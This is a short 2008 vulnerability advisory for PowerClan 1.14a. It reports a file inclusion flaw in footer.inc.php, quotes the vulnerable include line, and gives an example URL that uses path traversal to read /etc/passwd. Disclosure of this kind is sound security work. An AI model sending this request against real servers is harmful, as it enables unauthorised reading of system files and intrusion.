[DSECRG-08-020] RFI-LFI in PowerClan 1.14a

[DSECRG-08-020] Digital Security Research Group [DSecRG] Advisory

Application: PowerClan
Versions Affected: 1.14a
Vendor URL: http://www.powerscripts.org/
Bug: Remote/Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: ..2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
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Remote/Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.

Code
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 include($settings[footer]);

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Example:

http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd

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